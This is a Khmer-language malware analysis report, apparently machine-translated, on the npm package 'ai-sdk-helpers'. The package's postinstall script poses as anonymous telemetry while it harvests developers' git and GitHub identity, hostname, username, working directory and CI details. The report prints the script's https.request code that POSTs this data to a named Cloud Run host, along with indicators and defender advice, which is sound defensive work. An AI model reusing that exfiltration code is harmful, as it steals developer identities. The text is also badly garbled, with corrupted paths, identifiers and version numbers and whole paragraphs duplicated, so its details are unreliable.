TL; កុង
កញ្ចប់ npm តែមួយ, ai-sdk-helpersបង្ហាញខ្លួនវាជាឧបករណ៍ផលិតកម្មសម្រាប់ Vercel AI SDK ដែលផ្តល់ជូននូវការតាមដានថ្លៃដើម ការគាំទ្រអ្នកផ្តល់សេវា និងជំនួយស្ទ្រីម។
ស្គ្រីបពេលវេលាដំឡើងរបស់វាបើកជាមួយបដាបង្ហាញព័ត៌មានដែលបានកែលម្អដែលពិពណ៌នាអំពី ការធ្វើរោគវិនិច្ឆ័យអនាមិកដោយសន្យាថានឹងមិនមានកូដប្រភព ថូខឹន ឬព័ត៌មានសម្ងាត់ណាមួយត្រូវបានបញ្ជូនឡើយ ដោយគោរពតាម DO_NOT_TRACK ជ្រើសរើសមិនចូលរួម និងភ្ជាប់ទៅទំព័រគោលការណ៍ទូរមាត្រ។
បន្ទាប់មក ស្គ្រីបដូចគ្នាអានអត្តសញ្ញាណ git របស់អ្នកអភិវឌ្ឍន៍ ការកំណត់រចនាសម្ព័ន្ធ GitHub CLI ឈ្មោះម៉ាស៊ីន ឈ្មោះអ្នកប្រើប្រាស់ប្រព័ន្ធប្រតិបត្តិការ ថតឯកសារការងារ និងអ្នកផ្តល់សេវា CI។
ទិន្នន័យនោះត្រូវបាន POSTed ជា JSON ទៅកាន់ចំណុចបញ្ចប់ Google Cloud Run ដែលបង្កើតភាពមិនស៊ីគ្នាច្បាស់លាស់រវាងគោលការណ៍ទូរមាត្រដែលបានបញ្ជាក់ និងវាលជាក់ស្តែងដែលប្រមូលបាន។
កញ្ចប់នេះត្រូវបានបោះពុម្ពផ្សាយជាម្ភៃពីរកំណែក្នុងរយៈពេល 83 វិនាទីតែមួយ ហើយស្គ្រីបដំឡើងគឺដូចគ្នាបេះបិទនៅទូទាំងកំណែដែលបានដាក់ទង់។
ក្នុងចំណោមកំណែទាំងប្រាំបី កំណែចំនួនប្រាំពីរត្រូវបានពិនិត្យដោយយើង pipeline ត្រូវបានវាយតម្លៃមិនច្បាស់លាស់ដោយឧបករណ៍ចាត់ថ្នាក់ ML ពីព្រោះរចនាប័ទ្មបដាយល់ព្រមអានដូចជាទូរមាត្រស្របច្បាប់។
យើងចាត់ថ្នាក់ ai-sdk-helpers ជាមេរោគដែលផ្អែកលើការប្រមូលអត្តសញ្ញាណអ្នកអភិវឌ្ឍន៍ក្នុងពេលដំឡើង និងការលួចយកអត្តសញ្ញាណ។
ភាពធ្ងន់ធ្ងរ៖ ខ្ពស់។
កាយវិភាគសាស្ត្រនៃការដំឡើង
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } ក្រោយការដំឡើង ដំណើរការដោយស្វ័យប្រវត្តិនៅលើ ល្ងាចដំឡើងមុនពេលដែលកូដដែលបានផ្សព្វផ្សាយណាមួយរបស់កញ្ចប់ត្រូវបាននាំចូល។ ស្គ្រីប ស្គ្រីប/ក្រោយការដំឡើង.js គឺជាកន្លែងដែលឥរិយាបថពេលវេលាដំឡើងទាំងអស់ស្ថិតនៅ។
វាបើកជាមួយនឹងប្លុកមតិយោបល់ និងការជូនដំណឹងពេលដំណើរការដែលសរសេរនៅក្នុងបញ្ជីនៃគម្រោងប្រភពបើកចំហដែលគិតគូរពីភាពឯកជន៖
>នៅពេលអ្នកដំឡើង ai-sdk-helpers យើងដំណើរការការត្រួតពិនិត្យភាពឆបគ្នានៃបរិស្ថានយ៉ាងរហ័ស និងរាយការណ៍ពីការធ្វើរោគវិនិច្ឆ័យអនាមិក... ទិន្នន័យគឺអនាមិកទាំងស្រុង — យើងប្រមូលវេទិការបស់អ្នក កំណែ Node និងហាសតែមួយផ្លូវនៃឧបករណ៍កំណត់អត្តសញ្ញាណម៉ាស៊ីនរបស់អ្នក។ គ្មានកូដប្រភព ថូខឹន ឬព័ត៌មានសម្ងាត់ត្រូវបានបញ្ជូនឡើយ។
វាថែមទាំងភ្ជាប់ខ្សែច្រកចេញចូលដែលដំណើរការ ដែលជាកូដដែលអាចប្រតិបត្តិបានដំបូងនៅក្នុងឯកសារ៖
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } ការចងច្រកទ្វារនេះជាមុនសិន គឺជាអ្វីដែលធ្វើឱ្យអ្វីដែលនៅសល់ត្រូវបានអានថាជាការព្រមព្រៀងគ្នា៖ អ្នកអភិវឌ្ឍន៍ដែលកំណត់ `D_មិន_តាមដាន` ឃើញការដំឡើងបញ្ចប់ដោយស្ងៀមស្ងាត់ ហើយបញ្ចប់កញ្ចប់ដោយគោរពតាមអនុសញ្ញា។ ការបដិសេធមិនចូលរួមដែលមានកិត្តិយសគឺជារឿងពិត។ អ្វីដែលវារារាំង សម្រាប់អ្នករាល់គ្នាដែលមិនបានកំណត់វា គឺការប្រមូលផ្តុំដែលបានពិពណ៌នាខាងក្រោម — មិនមែនជា "វេទិកា កំណែណូត និងហាសមួយផ្លូវ" ដែលតូចចង្អៀតដូចឈ្មោះនៃការជូនដំណឹងនោះទេ។
នៅខាងក្រោមច្រកទ្វារនោះ ស្គ្រីបបង្កើត payload ដែលលើសពីការពិពណ៌នានោះ។
- *Gអត្តសញ្ញាណ t។* rដោះស្រាយScmអត្តសញ្ញាណ ()` អៀដស៍ `~.gitconfig`,`~.config/git/config`,និងគម្រោងបច្ចុប្បន្ន `` ។វា/កំណត់រចនាសម្ព័ន្ធ`,វិភាគ `[ស៊ែរ]` ection ហើយប្រគល់មកវិញនូវអ្វីដែលបានកំណត់រចនាសម្ព័ន្ធ commit អ៊ីមែល។ ប្រសិនបើឯកសារកំណត់រចនាសម្ព័ន្ធមិនបង្ហាញអ៊ីមែលទេ វានឹងធ្លាក់ចូលទៅក្នុង `Gអ៊ីមែលអ្នកនិពន្ធ`GT_COMMITTER_EMAIL`,និង `អ៊ីអាយអិល អថេរបរិស្ថាន។ docstring ខាងលើអនុគមន៍ដាក់ស៊ុមការអានជាមធ្យោបាយមួយ "ដើម្បីលុបការដំឡើងស្ទួននៅទូទាំងម៉ាស៊ីនដែលជាកម្មសិទ្ធិរបស់មនុស្សដូចគ្នា (ឧទាហរណ៍ កុំព្យូទ័រយួរដៃ + CI)" - គោលបំណងដែលបានបញ្ជាក់ដែលតម្រូវឱ្យមានឧបករណ៍កំណត់អត្តសញ្ញាណដែលមានស្ថេរភាពក្នុងមួយអ្នកអភិវឌ្ឍន៍ ដែល commit សម្ភារៈអ៊ីមែល។
- *Gគណនី tHub។* rsolveGitHubIdentity()` អៀដស៍ `~.config/gh/hosts.yml` ទី `~.config/gh/hosts.yaml` ឯកសារកំណត់រចនាសម្ព័ន្ធដែលសរសេរដោយ GitHub CLI នៅពេលដែលអ្នកអភិវឌ្ឍន៍ផ្ទៀងផ្ទាត់ភាពត្រឹមត្រូវ — និង regex-extracts `uអឺ៖` ន. អ៊ីអាយល៖` វាល។ ឯកសារនោះក៏រក្សាទុកសញ្ញាសម្ងាត់ GitHub OAuth ផងដែរ។ regex របស់ស្គ្រីបកំណត់គោលដៅឈ្មោះអ្នកប្រើប្រាស់ និងបន្ទាត់អ៊ីមែលជាពិសេស ហើយមិនទាញយកសញ្ញាសម្ងាត់នោះទេ។ ដូច្នេះ ការអះអាង "គ្មានសញ្ញាសម្ងាត់... ត្រូវបានបញ្ជូនឡើយ" របស់បដាបង្ហាញព័ត៌មានគឺពិតសម្រាប់វាលមួយនោះ ខណៈពេលដែលឧបករណ៍កំណត់អត្តសញ្ញាណគណនីជុំវិញត្រូវបានអាន និងផ្ញើ។
- *Hស្នាមម្រាមដៃ st និង CI។* ស្គ្រីបបន្ទាប់មកប្រមូល `o.ឈ្មោះម៉ាស៊ីន()`,`o.userInfo().ឈ្មោះអ្នកប្រើប្រាស់`,កំណែ Node វេទិកា និងស្ថាបត្យកម្ម `pocess.cwd()`,និងស្លាកអ្នកផ្តល់សេវា CI ដែលត្រូវបានដោះស្រាយដោយការត្រួតពិនិត្យអថេរបរិស្ថានសម្រាប់អ្នកផ្តល់សេវាចំនួនប្រាំបី (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite និងទង់ generic-CI ពីរ)។ បញ្ជីអ្នកផ្តល់សេវាអានជាសារពើភ័ណ្ឌនៃកន្លែងដែលស្គ្រីបរំពឹងថានឹងប្រតិបត្តិ — សែលអន្តរកម្ម និងការបង្កើតដោយស្វ័យប្រវត្តិ។ pipelineដូចគ្នា
ទាំងអស់នេះត្រូវបានដាក់ជាក្រុមទៅជា `d តែមួយអ្នកមិនជឿសាសនា bject ជាមួយនឹងវាលនីមួយៗសម្រាប់អ្នកអភិវឌ្ឍន៍ដែលប្រមូលបានក្រោម `iអង្គភាព ey និងទិន្នន័យម៉ាស៊ីននៅក្រោម `rពេលវេលា ទី `គntext` eys បន្ទាប់មកត្រូវបានធ្វើស៊េរី និងបញ្ជូន៖
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); ការឆ្លើយតបត្រូវបានលុបចោល ហើយកំហុសទាំងអស់ត្រូវបានលេបត្របាក់ — មតិយោបល់មួយកត់សម្គាល់ថា "ទូរមាត្រមិនត្រូវបំបែកការដំឡើងឡើយ"។ ឈ្មោះម៉ាស៊ីនចំណុចបញ្ចប់អ៊ិនកូដសេវាកម្ម Google Cloud Run នៅក្នុង `eខ្សែពួរ-ខាងលិច១` អេជីយ៉ុង។
ចន្លោះប្រហោងគឺជារឿងរ៉ាវ។ បដានេះដាក់ឈ្មោះប្រភេទទិន្នន័យបីប្រភេទ — វេទិកា កំណែណូត និងហាសសម្គាល់ម៉ាស៊ីន។ បន្ទុកទិន្នន័យផ្ញើ git ពិតប្រាកដរបស់អ្នកអភិវឌ្ឍន៍។ commit អ៊ីមែល ឈ្មោះអ្នកប្រើប្រាស់ និងអ៊ីមែល GitHub របស់ពួកគេ ឈ្មោះម៉ាស៊ីន និងឈ្មោះគណនីប្រព័ន្ធប្រតិបត្តិការរបស់ពួកគេ ផ្លូវគម្រោងរបស់ពួកគេ និងបរិស្ថាន CI របស់ពួកគេ។ វាលដែលកំណត់អត្តសញ្ញាណ *prson និងគណនីរបស់ពួកគេ* ឆ្លើយតបទៅនឹងវាលដែលការបង្ហាញត្រូវបានលុបចោល។
README ពង្រឹងការដាក់ស៊ុមពីម្ខាងទៀត។ ផ្នែក "Telemetry" របស់វាធ្វើឡើងវិញនូវការអះអាងអនាមិក និងភ្ជាប់ពាក្យ `D_មិន_តាមដាន` អូ `ស៊ីnsoledonottrack.com`,ទំព័រសហគមន៍ពិតប្រាកដដែលកត់ត្រាអនុសញ្ញាជ្រើសរើសមិនចូលរួម — ខ្ចីភាពឯកជនដែលទទួលស្គាល់ standard ដើម្បីធ្វើឱ្យការជូនដំណឹងត្រូវបានអានជាទម្លាប់។
ការកំណត់ពេលវេលា
នេះគឺជាការរកឃើញកញ្ចប់តែមួយដែលមានប្រវត្តិបោះពុម្ពផ្សាយខ្លី និងក្រាស់ក្រែល។ មិនមានដំណើរយុទ្ធនាការច្រើនសប្តាហ៍ដើម្បីតាមដានទេ — ជួរកំណែទាំងមូលត្រូវបានជំរុញក្នុងល្បឿនម៉ាស៊ីន។
| ពេលណា (UTC) | ព្រឹត្តការណ៍ |
|---|---|
| 2026-06-03 20:31:20 | កំណែដំបូង (0.1.0) បានបោះពុម្ពផ្សាយទៅកាន់ npm។ |
| 2026-06-03 20:31:20 – 20:32:43 | កំណែទាំង ២២ (0.1.0 តាមរយៈការ 1.4.2) បានចេញផ្សាយក្នុងរយៈពេល 83 វិនាទីដោយស្វ័យប្រវត្តិ។ |
| 2026-06-04 | កំណែចំនួនប្រាំបីត្រូវបានសម្គាល់ដោយសញ្ញារកឃើញ; ការវិភាគដោយដៃបញ្ជាក់ពីការប្រមូលអត្តសញ្ញាណពេលដំឡើង និងការច្រោះចេញ។ កញ្ចប់នៅតែដំណើរការនៅលើ npm នៅពេលវិភាគ។ |
ចន្លោះពេល ៨៣ វិនាទីលើកំណែន័យចំនួន ២២ គឺជាសូចនាករអាកប្បកិរិយាមួយ៖ ជណ្ដើរកំណែ (`០១.១`,`0១.១`,… `១៤.២`)បង្ហាញផ្ទៃនៃគម្រោងដែលបានថែទាំយ៉ាងសកម្មជាមួយនឹងប្រវត្តិចេញផ្សាយ ដែលបានផលិតក្នុងការដំណើរការស្គ្រីបមួយ។ ស្គ្រីបដំឡើងមិនផ្លាស់ប្ដូរនៅលើជណ្ដើរនោះទេ — សូមមើលខាងក្រោម។
សូចនាករនៃការសម្របសម្រួល
បន្ទុកពេលដំឡើងគឺដូចគ្នាបេះបិទទូទាំងជួរកំណែដែលបានបោះពុម្ពផ្សាយ។ A `dff` ហ្វ `sripts/postinstall.js` រវាងកំណែ `០២៣៥ ` កំណែទី 1២៣៥ ` មិនបង្ហាញភាពខុសគ្នាទេ។ ឥរិយាបថគឺជាស្នាមម្រាមដៃថេរមួយ មិនមែនជាបន្ទុកដែលកំពុងវិវត្តន៍នោះទេ។
Network
ចន្លោះពេល ៨៣ វិនាទីលើកំណែន័យចំនួន ២២ គឺជាសូចនាករអាកប្បកិរិយាមួយ៖ ជណ្ដើរកំណែ (`០១.១`,`0១.១`,… `១៤.២`)បង្ហាញផ្ទៃនៃគម្រោងដែលបានថែទាំយ៉ាងសកម្មជាមួយនឹងប្រវត្តិចេញផ្សាយ ដែលបានផលិតក្នុងការដំណើរការស្គ្រីបមួយ។ ស្គ្រីបដំឡើងមិនផ្លាស់ប្ដូរនៅលើជណ្ដើរនោះទេ — សូមមើលខាងក្រោម។
សូចនាករនៃការសម្របសម្រួល
បន្ទុកពេលដំឡើងគឺដូចគ្នាបេះបិទទូទាំងជួរកំណែដែលបានបោះពុម្ពផ្សាយ។ A `dff` ហ្វ `sripts/postinstall.js` រវាងកំណែ `០២៣៥ ` កំណែទី 1២៣៥ ` មិនបង្ហាញភាពខុសគ្នាទេ។ ឥរិយាបថគឺជាស្នាមម្រាមដៃថេរមួយ មិនមែនជាបន្ទុកដែលកំពុងវិវត្តន៍នោះទេ។
Network
| ទ្រនិចបង្ហាញ | តួនាទី |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | ចំណុចបញ្ចប់ Exfiltration ដែលទទួលសំណើ HTTPS POST ជាមួយ JSON payloads។ បង្ហោះនៅលើ Google Cloud Run នៅក្នុង europe-west1 តំបន់។ |
ហេដ្ឋារចនាសម្ព័ន្ធក្លែងក្លាយ
| ទ្រនិចបង្ហាញ | តួនាទី |
|---|---|
ai-sdk.guide | ទំព័រដើមកញ្ចប់ និងគេហទំព័រផ្ទាល់ដែលគាំទ្រអត្តសញ្ញាណអ្នកនិពន្ធ "AI SDK Guide"។ |
ai-sdk.guide/telemetry | URL គោលការណ៍ទូរមាត្រដែលបានយោងនៅក្នុងការជូនដំណឹងអំពីការបង្ហាញពេលវេលាដំឡើង។ |
hello@ai-sdk.guide | អ៊ីមែលអ្នកនិពន្ធបានប្រកាសនៅក្នុង package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | ឃ្លាំងប្រភពត្រូវបានប្រកាសដោយកញ្ចប់។ |
ឯកសារត្រូវបានអាននៅពេលដំឡើង
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` ហ្គីត `[ស៊ែរ]` សំបុត្រ
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uអឺ `eអាយល
ហត្ថលេខាអាកប្បកិរិយា
- – ម `បដំឡើង oox កំពុងហៅស្គ្រីប Node ដែលបានចងក្រងជាបាច់
- – ច្រកទ្វារជ្រើសរើសមិនចូលរួម (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_មិន_តាមដាន`)បានបង្ហាញជាមុខងារឯកជនភាព មុនការប្រមូលអត្តសញ្ញាណ
- – ការបង្ហោះ HTTPS POST ទៅកាន់វត្ថុ JSON ដែលមានអ៊ីមែល git, អត្តសញ្ញាណ GitHub, ឈ្មោះម៉ាស៊ីន, ឈ្មោះអ្នកប្រើប្រាស់ប្រព័ន្ធប្រតិបត្តិការ, cwd និងស្លាក CI
- – ស្គ្រីបដំឡើងដូចគ្នាបេះបិទនៅទូទាំងជណ្ដើរកំណែដែលបានបោះពុម្ពផ្សាយយ៉ាងឆាប់រហ័ស
ការសន្មត់ និងឥរិយាបថដែលសង្កេតឃើញ
យើងមិនសន្មតអ្វីក្រៅពីអ្វីដែលកំណត់ត្រាទិន្នន័យមេតាកញ្ចប់ និងបញ្ជីឈ្មោះនោះទេ។
អ្នកថែរក្សាកំណត់ត្រា npm គឺជាគណនី `aអ៊ីលស៊ីម៉ូនជាមួយអាសយដ្ឋាន `កiel@vigilance.security`។បញ្ជីឈ្មោះអ៊ីមែលទាំងនោះត្រូវបានចុះបញ្ជីថាមិនទាន់បានផ្ទៀងផ្ទាត់ និងអត្តសញ្ញាណគ្រប់គ្រងប្រភពរបស់គណនីត្រូវបានចុះបញ្ជីថាមិនទាន់បានផ្ទៀងផ្ទាត់។ckage.json`,ដោយឡែកពីគ្នា បង្ហាញអ្នកនិពន្ធថាជា "មគ្គុទ្ទេសក៍ AI SDK `ello@ai-sdk.guide>`”ជាមួយគេហទំព័ររបស់ `a-sdk.guide` និងឃ្លាំងប្រភពក្រោម `gអង្គការ thub.com/ai-sdk-guide`។ ដែនអ៊ីមែលរបស់គណនីបោះពុម្ពផ្សាយ (`vigilance.security`)និងអត្តសញ្ញាណអ្នកនិពន្ធនៅក្នុងកញ្ចប់ (`a-sdk.guide`)គឺជាដែនផ្សេងៗគ្នា។
អា-sdk.guide` ite កំពុងដំណើរការ ហើយឆ្លើយតប ហើយ `/ធាតុម៉ែត្រី ath ដោះស្រាយ — អត្តសញ្ញាណបញ្ឆោតត្រូវបានគាំទ្រដោយវត្តមានបណ្ដាញដែលអាចទៅដល់បាន ជាជាងតំណភ្ជាប់ដែលស្លាប់ ដែលបង្កើនភាពជឿជាក់នៃស៊ុមរបស់កញ្ចប់។
**សមត្ថភាពដែលបានសង្កេតឃើញ**។ នៅពេលដំឡើង កញ្ចប់អានអត្តសញ្ញាណអ្នកអភិវឌ្ឍន៍ និងឯកសារកំណត់រចនាសម្ព័ន្ធគណនី ស្កេនស្នាមម្រាមដៃរបស់ម៉ាស៊ីន និងបរិស្ថាន CI ហើយបញ្ជូនលទ្ធផលទៅកាន់ចំណុចបញ្ចប់ដែលគ្រប់គ្រងដោយប្រតិបត្តិករ ខណៈពេលដែលបង្ហាញការជូនដំណឹងដែលពិពណ៌នាអំពីសំណុំទិន្នន័យតូចចង្អៀត និងអនាមិក។ យើងពិពណ៌នាអំពីឥរិយាបថនេះ។ យើងមិនអះអាងពីហេតុផលសម្រាប់វាទេ។ អ្នកអានដែលវាយតម្លៃកញ្ចប់ — រួមទាំងភាគីណាមួយដែលទទួលស្គាល់អត្តសញ្ញាណបោះពុម្ពផ្សាយ — គួរតែថ្លឹងថ្លែងពីភាពមិនស៊ីគ្នាដែលអាចសង្កេតឃើញរវាងលំហូរទិន្នន័យដែលបានបញ្ជាក់ និងលំហូរទិន្នន័យជាក់ស្តែង។
ផលប៉ះពាល់ និន្នាការ និងការណែនាំសម្រាប់អ្នកការពារ
អ្នកណាដែលត្រូវបានលាតត្រដាង។ អ្នកណាដែលដំឡើង ai-sdk-helpers — ដោយផ្ទាល់ ឬជាការពឹងផ្អែកអន្តរកាល — ដំណើរការការប្រមូលផ្ដុំនៅលើម៉ាស៊ីននោះ។ ពីព្រោះគន្លឹះគឺ ក្រោយការដំឡើងកូដបណ្ណាល័យដែលបានផ្សព្វផ្សាយមិនចាំបាច់ត្រូវបាននាំចូលដើម្បីឱ្យលំហូរទិន្នន័យកើតឡើងទេ។ ការដំឡើងតែមួយគឺគ្រប់គ្រាន់ហើយ។ បរិស្ថានដែលមានតម្លៃខ្ពស់បំផុតគឺស្ថានីយការងាររបស់អ្នកអភិវឌ្ឍន៍ដែលមានអត្តសញ្ញាណ git ដែលបានកំណត់រចនាសម្ព័ន្ធ និង GitHub CLI ដែលបានផ្ទៀងផ្ទាត់ និងកម្មវិធីដំណើរការ CI ដែលការរកឃើញ CI-provider របស់ស្គ្រីបបង្ហាញថាការប្រមូលត្រូវបានគេរំពឹងថានឹងដំណើរការនៅខាងក្នុង build។ pipelineក៏ដូចជានៅលើកុំព្យូទ័រយួរដៃផងដែរ។
អ្វីដែលវាបង្ហាញ។ មិនមែនជាអាថ៌កំបាំងនៃកម្មវិធីក្នុងករណីទូទៅទេ — បន្ទុកបន្ទុកផ្តោតលើ អត្តសញ្ញាណ: អ្នកអភិវឌ្ឍន៍ commit អ៊ីមែល ឈ្មោះ និងអ៊ីមែលគណនី GitHub របស់ពួកគេ ឈ្មោះម៉ាស៊ីន និងគណនី និងផ្លូវគម្រោង។ នោះគឺជាការរៀបចំជាមុនcisផែនទីនៃអ្នកដែលបានដំឡើងកញ្ចប់ នៅលើម៉ាស៊ីនអ្វី នៅក្នុងឃ្លាំងអ្វី និងនៅក្រោមប្រព័ន្ធ CI ណា។ សម្រាប់អង្គការមួយ កំណត់ត្រាមួយចំនួនដែលយកមកជាមួយគ្នានឹងរាយបញ្ជីថាវិស្វករណា និងប្រព័ន្ធសាងសង់ណាដែលទាញការពឹងផ្អែក — មានប្រយោជន៍ជាបុព្វបទសម្រាប់សកម្មភាពតាមដានដែលមានគោលដៅច្រើនជាងមុន ទោះបីជាឥរិយាបថរបស់កញ្ចប់នេះឈប់នៅការប្រមូល និងការបញ្ជូនក៏ដោយ។
និន្នាការ៖ ទូរមាត្រជាការគ្របដណ្តប់។ ឧបករណ៍អភិវឌ្ឍន៍ស្របច្បាប់ពិតជាប្រមូលការធ្វើរោគវិនិច្ឆ័យការដំឡើងអនាមិក និងអនុសញ្ញាសម្រាប់ការធ្វើវាដោយគោរព — ការជូនដំណឹងអំពីការបង្ហាញព័ត៌មាន កុំតាមដាន honor, ទង់ជាតិជ្រើសរើសមិនចូលរួម, URL គោលការណ៍ — ត្រូវបានគេស្គាល់យ៉ាងច្បាស់។ ai-sdk-helpers ផលិតឡើងវិញនូវអនុសញ្ញាទាំងបួននោះដោយស្មោះត្រង់ ហើយប្រើប្រាស់វាជាឯកសាររុំសម្រាប់ការប្រមូលអត្តសញ្ញាណ។ វត្តមាននៃបដាយល់ព្រម ជម្រើសមិនចូលរួមដែលដំណើរការ ឬតំណភ្ជាប់គោលការណ៍ឯកជនភាពមិនមែនជាភស្តុតាងដែលបង្ហាញថាកញ្ចប់មួយគួរឱ្យទុកចិត្តនោះទេ។ ការគ្រប់គ្រងទាំងនោះមានតម្លៃថោកក្នុងការធ្វើត្រាប់តាម។ ការត្រួតពិនិត្យដែលអាចទុកចិត្តបានតែមួយគត់គឺអ្វីដែលកូដពិតជាអាន និងកន្លែងដែលវាពិតជាផ្ញើវា។
ការវេចខ្ចប់នេះក៏មានឥទ្ធិពលដែលអាចវាស់វែងបានលើការជ្រើសរើសដោយស្វ័យប្រវត្តិផងដែរ។ នៅទូទាំងកំណែរបស់យើង pipeline បានពិនិត្យឡើងវិញ មតិយោបល់ភាសាសាមញ្ញរបស់ស្គ្រីបដំឡើង ឈ្មោះវាលដែលមានរចនាសម្ព័ន្ធ និងច្រកចេញចូលធម្មតា ត្រូវបានដាក់ពិន្ទុជាទូរមាត្រធម្មតា៖ ប្រាំពីរក្នុងចំណោមប្រាំបីបានត្រឡប់មកវិញ។ មិនសន្និដ្ឋាន ពីឧបករណ៍ចាត់ថ្នាក់ ML ជាជាងព្យាបាទ។ សញ្ញាដែលដោះស្រាយភាពមិនច្បាស់លាស់មិនមែននៅក្នុងសំណេរទេ — វាស្ថិតនៅក្នុងឯកសារជាក់លាក់ដែលស្គ្រីបបើក (~ / .gitconfig, ~/.config/gh/hosts.yml) និងគោលដៅដែលវាផ្ញើទៅ។ អ្នកពិនិត្យឡើងវិញ ទាំងដោយស្វ័យប្រវត្តិ ឬជាមនុស្ស ដែលអានការបង្ហាញព័ត៌មាន ហើយឈប់នៅទីនោះ នឹងឈានដល់ការសន្និដ្ឋានខុស។ ការកំណត់ត្រូវតែមកពីការពិតនៃលំហូរទិន្នន័យ។
ការណែនាំសម្រាប់អ្នកការពារ៖
- ដំឡើងជាមួយស្គ្រីបដែលត្រូវបានបិទតាមលំនាំដើម — npm ដំឡើង - មិនអើពើស្គ្រីបឬកំណត់ មិនអើពើស្គ្រីប = ពិត in .npmrc និងដំណើរការជំហានសាងសង់ដែលបានត្រួតពិនិត្យយ៉ាងច្បាស់លាស់។ នេះធ្វើឱ្យអព្យាក្រឹតភាព ក្រោយការដំឡើង- ការប្រមូលផ្ដុំដែលបង្កឡើងនៅទូទាំងក្តារ។
- កុំចាត់ទុកការគ្រប់គ្រងជម្រើសមិនចូលរួមជាសញ្ញានៃការជឿទុកចិត្ត។ កុំតាមដាន ការត្រួតពិនិត្យ ឬតំណភ្ជាប់ "គោលការណ៍ទូរមាត្រ" មិនប្រាប់អ្នកអ្វីទាំងអស់អំពីទិន្នន័យដែលស្គ្រីបប្រមូលនៅពេលដែលច្រកទ្វារមិនត្រូវបានកំណត់។
- សូមអានការណែនាំអំពីការដំឡើងមុនពេលទទួលយកកញ្ចប់ជំនួយប្រព័ន្ធអេកូឡូស៊ី AI។ លំហ Vercel AI SDK គឺជាគោលដៅដែលមានការជឿទុកចិត្តខ្ពស់ និងមានល្បឿនលឿន។ ក្រោយការដំឡើង ដែលប៉ះ ~ / .gitconfig or ~/.config/gh/ គឺជាសញ្ញាច្បាស់លាស់មួយ ដោយមិនគិតពីរបៀបដែលមតិយោបល់ជុំវិញត្រូវបានសរសេរនោះទេ។
- ត្រួតពិនិត្យការចាកចេញនៃពេលវេលាសាងសង់។ ការបង្ហោះ HTTPS ចេញក្នុងអំឡុងពេល ល្ងាចដំឡើងជាពិសេសចំពោះចំណុចបញ្ចប់មុខងារពពកដែលទើបនឹងផ្តល់ជូនថ្មីៗ អាចសង្កេតឃើញនៅស្រទាប់បណ្តាញ និងជាចំណុចរកឃើញដ៏រឹងមាំសម្រាប់បរិស្ថាន CI។
- សូមប្រយ័ត្នចំពោះជណ្ដើរកំណែដែលបានបង្ហាប់។ កញ្ចប់មួយដែលប្រវត្តិកំណែន័យវិទ្យាទាំងមូលរបស់វាលេចឡើងក្នុងរយៈពេលប៉ុន្មានវិនាទី ជាមួយនឹងស្គ្រីបដំឡើងដែលមិនផ្លាស់ប្តូរ កំពុងបង្ហាញប្រវត្តិថែទាំដែលផលិតឡើង។





